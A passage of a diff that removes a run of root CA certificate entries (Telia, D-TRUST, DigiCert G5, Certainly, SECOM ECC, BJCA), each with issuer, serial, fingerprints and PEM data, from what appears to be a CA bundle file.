-# Subject: CN=Telia Root CA v2 O=Telia Finland Oyj
-# Label: "Telia Root CA v2"
-# Serial: 7288924052977061235122729490515358
-# MD5 Fingerprint: 0e:8f:ac:aa:82:df:85:b1:f4:dc:10:1c:fc:99:d9:48
-# SHA1 Fingerprint: b9:99:cd:d1:73:50:8a:c4:47:05:08:9c:8c:88:fb:be:a0:2b:40:cd
-# SHA256 Fingerprint: 24:2b:69:74:2f:cb:1e:5b:2a:bf:98:89:8b:94:57:21:87:54:4e:5b:4d:99:11:78:65:73:62:1f:6a:74:b8:2c
------BEGIN CERTIFICATE-----
-MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQx
-CzAJBgNVBAYTAkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UE
-AwwQVGVsaWEgUm9vdCBDQSB2MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1
-NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZ
-MBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZIhvcNAQEBBQADggIP
-ADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ76zBq
-AMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9
-vVYiQJ3q9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9
-lRdU2HhE8Qx3FZLgmEKnpNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTOD
-n3WhUidhOPFZPY5Q4L15POdslv5e2QJltI5c0BE0312/UqeBAMN/mUWZFdUXyApT
-7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW5olWK8jjfN7j/4nlNW4o
-6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNrRBH0pUPC
-TEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6
-WT0EBXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63R
-DolUK5X6wK0dmBR4M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZI
-pEYslOqodmJHixBTB0hXbOKSTbauBcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGj
-YzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7Wxy+G2CQ5MB0GA1UdDgQWBBRy
-rOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw
-AwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ
-8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi
-0f6X+J8wfBj5tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMM
-A8iZGok1GTzTyVR8qPAs5m4HeW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBS
-SRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+Cy748fdHif64W1lZYudogsYMVoe+K
-TTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygCQMez2P2ccGrGKMOF
-6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15h2Er
-3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMt
-Ty3EHD70sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pT
-VmBds9hCG1xLEooc6+t9xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAW
-ysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQraVplI/owd8k+BsHMYeB2F326CjYSlKA
-rBPuUBQemMc=
------END CERTIFICATE-----
-
-# Issuer: CN=D-TRUST BR Root CA 1 2020 O=D-Trust GmbH
-# Subject: CN=D-TRUST BR Root CA 1 2020 O=D-Trust GmbH
-# Label: "D-TRUST BR Root CA 1 2020"
-# Serial: 165870826978392376648679885835942448534
-# MD5 Fingerprint: b5:aa:4b:d5:ed:f7:e3:55:2e:8f:72:0a:f3:75:b8:ed
-# SHA1 Fingerprint: 1f:5b:98:f0:e3:b5:f7:74:3c:ed:e6:b0:36:7d:32:cd:f4:09:41:67
-# SHA256 Fingerprint: e5:9a:aa:81:60:09:c2:2b:ff:5b:25:ba:d3:7d:f3:06:f0:49:79:7c:1f:81:d8:5a:b0:89:e6:57:bd:8f:00:44
------BEGIN CERTIFICATE-----
-MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQsw
-CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS
-VVNUIEJSIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5
-NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG
-A1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB
-BAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7dPYS
-zuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0
-QVK5buXuQqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/
-VbNafAkl1bK6CKBrqx9tMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g
-PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2JyX3Jvb3Rf
-Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l
-dC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1
-c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO
-PQQDAwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFW
-wKrY7RjEsK70PvomAjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHV
-dWNbFJWcHwHP2NVypw87
------END CERTIFICATE-----
-
-# Issuer: CN=D-TRUST EV Root CA 1 2020 O=D-Trust GmbH
-# Subject: CN=D-TRUST EV Root CA 1 2020 O=D-Trust GmbH
-# Label: "D-TRUST EV Root CA 1 2020"
-# Serial: 126288379621884218666039612629459926992
-# MD5 Fingerprint: 8c:2d:9d:70:9f:48:99:11:06:11:fb:e9:cb:30:c0:6e
-# SHA1 Fingerprint: 61:db:8c:21:59:69:03:90:d8:7c:9c:12:86:54:cf:9d:3d:f4:dd:07
-# SHA256 Fingerprint: 08:17:0d:1a:a3:64:53:90:1a:2f:95:92:45:e3:47:db:0c:8d:37:ab:aa:bc:56:b8:1a:a1:00:dc:95:89:70:db
------BEGIN CERTIFICATE-----
-MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQsw
-CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS
-VVNUIEVWIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5
-NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG
-A1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB
-BAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8ZRCC
-/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rD
-wpdhQntJraOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3
-OqQo5FD4pPfsazK2/umLMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g
-PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2V2X3Jvb3Rf
-Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l
-dC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1
-c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO
-PQQDAwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CA
-y/m0sRtW9XLS/BnRAjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJb
-gfM0agPnIjhQW+0ZT0MW
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert TLS ECC P384 Root G5 O=DigiCert, Inc.
-# Subject: CN=DigiCert TLS ECC P384 Root G5 O=DigiCert, Inc.
-# Label: "DigiCert TLS ECC P384 Root G5"
-# Serial: 13129116028163249804115411775095713523
-# MD5 Fingerprint: d3:71:04:6a:43:1c:db:a6:59:e1:a8:a3:aa:c5:71:ed
-# SHA1 Fingerprint: 17:f3:de:5e:9f:0f:19:e9:8e:f6:1f:32:26:6e:20:c4:07:ae:30:ee
-# SHA256 Fingerprint: 01:8e:13:f0:77:25:32:cf:80:9b:d1:b1:72:81:86:72:83:fc:48:c6:e1:3b:e9:c6:98:12:85:4a:49:0c:1b:05
------BEGIN CERTIFICATE-----
-MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQsw
-CQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURp
-Z2lDZXJ0IFRMUyBFQ0MgUDM4NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2
-MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJ
-bmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQgUm9vdCBHNTB2MBAG
-ByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1TzvdlHJS
-7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp
-0zVozptjn4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICIS
-B4CIfBFqMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49
-BAMDA2gAMGUCMQCJao1H5+z8blUD2WdsJk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQ
-LgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIxAJSdYsiJvRmEFOml+wG4
-DXZDjC5Ty3zfDBeWUA==
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert TLS RSA4096 Root G5 O=DigiCert, Inc.
-# Subject: CN=DigiCert TLS RSA4096 Root G5 O=DigiCert, Inc.
-# Label: "DigiCert TLS RSA4096 Root G5"
-# Serial: 11930366277458970227240571539258396554
-# MD5 Fingerprint: ac:fe:f7:34:96:a9:f2:b3:b4:12:4b:e4:27:41:6f:e1
-# SHA1 Fingerprint: a7:88:49:dc:5d:7c:75:8c:8c:de:39:98:56:b3:aa:d0:b2:a5:71:35
-# SHA256 Fingerprint: 37:1a:00:dc:05:33:b3:72:1a:7e:eb:40:e8:41:9e:70:79:9d:2b:0a:0f:2c:1d:80:69:31:65:f7:ce:c4:ad:75
------BEGIN CERTIFICATE-----
-MIIFZjCCA06gAwIBAgIQCPm0eKj6ftpqMzeJ3nzPijANBgkqhkiG9w0BAQwFADBN
-MQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMT
-HERpZ2lDZXJ0IFRMUyBSU0E0MDk2IFJvb3QgRzUwHhcNMjEwMTE1MDAwMDAwWhcN
-NDYwMTE0MjM1OTU5WjBNMQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQs
-IEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0MDk2IFJvb3QgRzUwggIi
-MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz0PTJeRGd/fxmgefM1eS87IE+
-ajWOLrfn3q/5B03PMJ3qCQuZvWxX2hhKuHisOjmopkisLnLlvevxGs3npAOpPxG0
-2C+JFvuUAT27L/gTBaF4HI4o4EXgg/RZG5Wzrn4DReW+wkL+7vI8toUTmDKdFqgp
-wgscONyfMXdcvyej/Cestyu9dJsXLfKB2l2w4SMXPohKEiPQ6s+d3gMXsUJKoBZM
-pG2T6T867jp8nVid9E6P/DsjyG244gXazOvswzH016cpVIDPRFtMbzCe88zdH5RD
-nU1/cHAN1DrRN/BsnZvAFJNY781BOHW8EwOVfH/jXOnVDdXifBBiqmvwPXbzP6Po
-sMH976pXTayGpxi0KcEsDr9kvimM2AItzVwv8n/vFfQMFawKsPHTDU9qTXeXAaDx
-Zre3zu/O7Oyldcqs4+Fj97ihBMi8ez9dLRYiVu1ISf6nL3kwJZu6ay0/nTvEF+cd
-Lvvyz6b84xQslpghjLSR6Rlgg/IwKwZzUNWYOwbpx4oMYIwo+FKbbuH2TbsGJJvX
-KyY//SovcfXWJL5/MZ4PbeiPT02jP/816t9JXkGPhvnxd3lLG7SjXi/7RgLQZhNe
-XoVPzthwiHvOAbWWl9fNff2C+MIkwcoBOU+NosEUQB+cZtUMCUbW8tDRSHZWOkPL
-tgoRObqME2wGtZ7P6wIDAQABo0IwQDAdBgNVHQ4EFgQUUTMc7TZArxfTJc1paPKv
-TiM+s0EwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcN
-AQEMBQADggIBAGCmr1tfV9qJ20tQqcQjNSH/0GEwhJG3PxDPJY7Jv0Y02cEhJhxw
-GXIeo8mH/qlDZJY6yFMECrZBu8RHANmfGBg7sg7zNOok992vIGCukihfNudd5N7H
-PNtQOa27PShNlnx2xlv0wdsUpasZYgcYQF+Xkdycx6u1UQ3maVNVzDl92sURVXLF
-O4uJ+DQtpBflF+aZfTCIITfNMBc9uPK8qHWgQ9w+iUuQrm0D4ByjoJYJu32jtyoQ
-REtGBzRj7TG5BO6jm5qu5jF49OokYTurWGT/u4cnYiWB39yhL/btp/96j1EuMPik
-AdKFOV8BmZZvWltwGUb+hmA+rYAQCd05JS9Yf7vSdPD3Rh9GOUrYU9DzLjtxpdRv
-/PNn5AeP3SYZ4Y1b+qOTEZvpyDrDVWiakuFSdjjo4bq9+0/V77PnSIMx8IIh47a+
-p6tv75/fTM8BuGJqIz3nCU2AG3swpMPdB380vqQmsvZB6Akd4yCYqjdP//fx4ilw
-MUc/dNAUFvohigLVigmUdy7yWSiLfFCSCmZ4OIN1xLVaqBHG5cGdZlXPU8Sv13WF
-qUITVuwhd4GTWgzqltlJyqEI8pc7bZsEGCREjnwB8twl2F6GmrE52/WRMmrRpnCK
-ovfepEWFJqgejF0pW8hL2JpqA15w8oVPbEtoL8pU9ozaMv7Da4M/OMZ+
------END CERTIFICATE-----
-
-# Issuer: CN=Certainly Root R1 O=Certainly
-# Subject: CN=Certainly Root R1 O=Certainly
-# Label: "Certainly Root R1"
-# Serial: 188833316161142517227353805653483829216
-# MD5 Fingerprint: 07:70:d4:3e:82:87:a0:fa:33:36:13:f4:fa:33:e7:12
-# SHA1 Fingerprint: a0:50:ee:0f:28:71:f4:27:b2:12:6d:6f:50:96:25:ba:cc:86:42:af
-# SHA256 Fingerprint: 77:b8:2c:d8:64:4c:43:05:f7:ac:c5:cb:15:6b:45:67:50:04:03:3d:51:c6:0c:62:02:a8:e0:c3:34:67:d3:a0
------BEGIN CERTIFICATE-----
-MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAw
-PTELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2Vy
-dGFpbmx5IFJvb3QgUjEwHhcNMjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9
-MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0
-YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANA2
-1B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O5MQT
-vqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbed
-aFySpvXl8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b0
-1C7jcvk2xusVtyWMOvwlDbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5
-r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGIXsXwClTNSaa/ApzSRKft43jvRl5tcdF5
-cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkNKPl6I7ENPT2a/Z2B7yyQ
-wHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQAjeZjOVJ
-6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA
-2CnbrlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyH
-Wyf5QBGenDPBt+U1VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMR
-eiFPCyEQtkA6qyI6BJyLm4SGcprSp6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB
-/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTgqj8ljZ9EXME66C6u
-d0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAszHQNTVfSVcOQr
-PbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d
-8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi
-1wrykXprOQ4vMMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrd
-rRT90+7iIgXr0PK3aBLXWopBGsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9di
-taY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+gjwN/KUD+nsa2UUeYNrEjvn8K8l7
-lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgHJBu6haEaBQmAupVj
-yTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7fpYn
-Kx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLy
-yCwzk5Iwx06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5n
-wXARPbv0+Em34yaXOp/SX3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6
-OV+KmalBWQewLK8=
------END CERTIFICATE-----
-
-# Issuer: CN=Certainly Root E1 O=Certainly
-# Subject: CN=Certainly Root E1 O=Certainly
-# Label: "Certainly Root E1"
-# Serial: 8168531406727139161245376702891150584
-# MD5 Fingerprint: 0a:9e:ca:cd:3e:52:50:c6:36:f3:4b:a3:ed:a7:53:e9
-# SHA1 Fingerprint: f9:e1:6d:dc:01:89:cf:d5:82:45:63:3e:c5:37:7d:c2:eb:93:6f:2b
-# SHA256 Fingerprint: b4:58:5f:22:e4:ac:75:6a:4e:86:12:a1:36:1c:5d:9d:03:1a:93:fd:84:fe:bb:77:8f:a3:06:8b:0f:c4:2d:c2
------BEGIN CERTIFICATE-----
-MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQsw
-CQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlu
-bHkgUm9vdCBFMTAeFw0yMTA0MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJ
-BgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlubHkxGjAYBgNVBAMTEUNlcnRhaW5s
-eSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4fxzf7flHh4axpMCK
-+IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9YBk2
-QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8E
-BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4
-hevIIgcwCgYIKoZIzj0EAwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozm
-ut6Dacpps6kFtZaSF4fC0urQe87YQVt8rgIwRt7qy12a7DLCZRawTDBcMPPaTnOG
-BtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR
------END CERTIFICATE-----
-
-# Issuer: CN=Security Communication ECC RootCA1 O=SECOM Trust Systems CO.,LTD.
-# Subject: CN=Security Communication ECC RootCA1 O=SECOM Trust Systems CO.,LTD.
-# Label: "Security Communication ECC RootCA1"
-# Serial: 15446673492073852651
-# MD5 Fingerprint: 7e:43:b0:92:68:ec:05:43:4c:98:ab:5d:35:2e:7e:86
-# SHA1 Fingerprint: b8:0e:26:a9:bf:d2:b2:3b:c0:ef:46:c9:ba:c7:bb:f6:1d:0d:41:41
-# SHA256 Fingerprint: e7:4f:bd:a5:5b:d5:64:c4:73:a3:6b:44:1a:a7:99:c8:a6:8e:07:74:40:e8:28:8b:9f:a1:e5:0e:4b:ba:ca:11
------BEGIN CERTIFICATE-----
-MIICODCCAb6gAwIBAgIJANZdm7N4gS7rMAoGCCqGSM49BAMDMGExCzAJBgNVBAYT
-AkpQMSUwIwYDVQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMSswKQYD
-VQQDEyJTZWN1cml0eSBDb21tdW5pY2F0aW9uIEVDQyBSb290Q0ExMB4XDTE2MDYx
-NjA1MTUyOFoXDTM4MDExODA1MTUyOFowYTELMAkGA1UEBhMCSlAxJTAjBgNVBAoT
-HFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKzApBgNVBAMTIlNlY3VyaXR5
-IENvbW11bmljYXRpb24gRUNDIFJvb3RDQTEwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
-AASkpW9gAwPDvTH00xecK4R1rOX9PVdu12O/5gSJko6BnOPpR27KkBLIE+Cnnfdl
-dB9sELLo5OnvbYUymUSxXv3MdhDYW72ixvnWQuRXdtyQwjWpS4g8EkdtXP9JTxpK
-ULGjQjBAMB0GA1UdDgQWBBSGHOf+LaVKiwj+KBH6vqNm+GBZLzAOBgNVHQ8BAf8E
-BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjAVXUI9/Lbu
-9zuxNuie9sRGKEkz0FhDKmMpzE2xtHqiuQ04pV1IKv3LsnNdo4gIxwwCMQDAqy0O
-be0YottT6SXbVQjgUMzfRGEWgqtJsLKB7HOHeLRMsmIbEvoWTSVLY70eN9k=
------END CERTIFICATE-----
-
-# Issuer: CN=BJCA Global Root CA1 O=BEIJING CERTIFICATE AUTHORITY
-# Subject: CN=BJCA Global Root CA1 O=BEIJING CERTIFICATE AUTHORITY
-# Label: "BJCA Global Root CA1"
-# Serial: 113562791157148395269083148143378328608
-# MD5 Fingerprint: 42:32:99:76:43:33:36:24:35:07:82:9b:28:f9:d0:90
-# SHA1 Fingerprint: d5:ec:8d:7b:4c:ba:79:f4:e7:e8:cb:9d:6b:ae:77:83:10:03:21:6a
-# SHA256 Fingerprint: f3:89:6f:88:fe:7c:0a:88:27:66:a7:fa:6a:d2:74:9f:b5:7a:7f:3e:98:fb:76:9c:1f:a7:b0:9c:2c:44:d5:ae
------BEGIN CERTIFICATE-----
-MIIFdDCCA1ygAwIBAgIQVW9l47TZkGobCdFsPsBsIDANBgkqhkiG9w0BAQsFADBU
-MQswCQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRI
-T1JJVFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0ExMB4XDTE5MTIxOTAz
-MTYxN1oXDTQ0MTIxMjAzMTYxN1owVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJF
-SUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2Jh
-bCBSb290IENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPFmCL3Z
-xRVhy4QEQaVpN3cdwbB7+sN3SJATcmTRuHyQNZ0YeYjjlwE8R4HyDqKYDZ4/N+AZ
-spDyRhySsTphzvq3Rp4Dhtczbu33RYx2N95ulpH3134rhxfVizXuhJFyV9xgw8O5
-58dnJCNPYwpj9mZ9S1WnP3hkSWkSl+BMDdMJoDIwOvqfwPKcxRIqLhy1BDPapDgR
-at7GGPZHOiJBhyL8xIkoVNiMpTAK+BcWyqw3/XmnkRd4OJmtWO2y3syJfQOcs4ll
-5+M7sSKGjwZteAf9kRJ/sGsciQ35uMt0WwfCyPQ10WRjeulumijWML3mG90Vr4Tq
-nMfK9Q7q8l0ph49pczm+LiRvRSGsxdRpJQaDrXpIhRMsDQa4bHlW/KNnMoH1V6XK
-V0Jp6VwkYe/iMBhORJhVb3rCk9gZtt58R4oRTklH2yiUAguUSiz5EtBP6DF+bHq/
-pj+bOT0CFqMYs2esWz8sgytnOYFcuX6U1WTdno9uruh8W7TXakdI136z1C2OVnZO
-z2nxbkRs1CTqjSShGL+9V/6pmTW12xB3uD1IutbB5/EjPtffhZ0nPNRAvQoMvfXn
-jSXWgXSHRtQpdaJCbPdzied9v3pKH9MiyRVVz99vfFXQpIsHETdfg6YmV6YBW37+
-WGgHqel62bno/1Afq8K0wM7o6v0PvY1NuLxxAgMBAAGjQjBAMB0GA1UdDgQWBBTF
-7+3M2I0hxkjk49cULqcWk+WYATAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE
-AwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAUoKsITQfI/Ki2Pm4rzc2IInRNwPWaZ+4
-YRC6ojGYWUfo0Q0lHhVBDOAqVdVXUsv45Mdpox1NcQJeXyFFYEhcCY5JEMEE3Kli
-awLwQ8hOnThJdMkycFRtwUf8jrQ2ntScvd0g1lPJGKm1Vrl2i5VnZu69mP6u775u
-+2D2/VnGKhs/I0qUJDAnyIm860Qkmss9vk/Ves6OF8tiwdneHg56/0OGNFK8YT88
-X7vZdrRTvJez/opMEi4r89fO4aL/3Xtw+zuhTaRjAv04l5U/BXCga99igUOLtFkN
-SoxUnMW7gZ/NfaXvCyUeOiDbHPwfmGcCCtRzRBPbUYQaVQNW4AB+dAb/OMRyHdOo
-P2gxXdMJxy6MW2Pg6Nwe0uxhHvLe5e/2mXZgLR6UcnHGCyoyx5JO1UbXHfmpGQrI
-+pXObSOYqgs4rZpWDW+N8TEAiMEXnM0ZNjX+VVOg4DwzX5Ze4jLp3zO7Bkqp2IRz
-znfSxqxx4VyjHQy7Ct9f4qNx2No3WqB4K/TUfet27fJhcKVlmtOJNBir+3I+17Q9
-eVzYH6Eze9mCUAyTF6ps3MKCuwJXNq+YJyo5UOGwifUll35HaBC07HPKs5fRJNz2
-YqAo07WjuGS3iGJCz51TzZm+ZGiPTx4SSPfSKcOYKMryMguTjClPPGAyzQWWYezy
-r/6zcCwupvI=
------END CERTIFICATE-----
-
-# Issuer: CN=BJCA Global Root CA2 O=BEIJING CERTIFICATE AUTHORITY
-# Subject: CN=BJCA Global Root CA2 O=BEIJING CERTIFICATE AUTHORITY
-# Label: "BJCA Global Root CA2"
-# Serial: 58605626836079930195615843123109055211
-# MD5 Fingerprint: 5e:0a:f6:47:5f:a6:14:e8:11:01:95:3f:4d:01:eb:3c
-# SHA1 Fingerprint: f4:27:86:eb:6e:b8:6d:88:31:67:02:fb:ba:66:a4:53:00:aa:7a:a6
-# SHA256 Fingerprint: 57:4d:f6:93:1e:27:80:39:66:7b:72:0a:fd:c1:60:0f:c2:7e:b6:6d:d3:09:29:79:fb:73:85:64:87:21:28:82
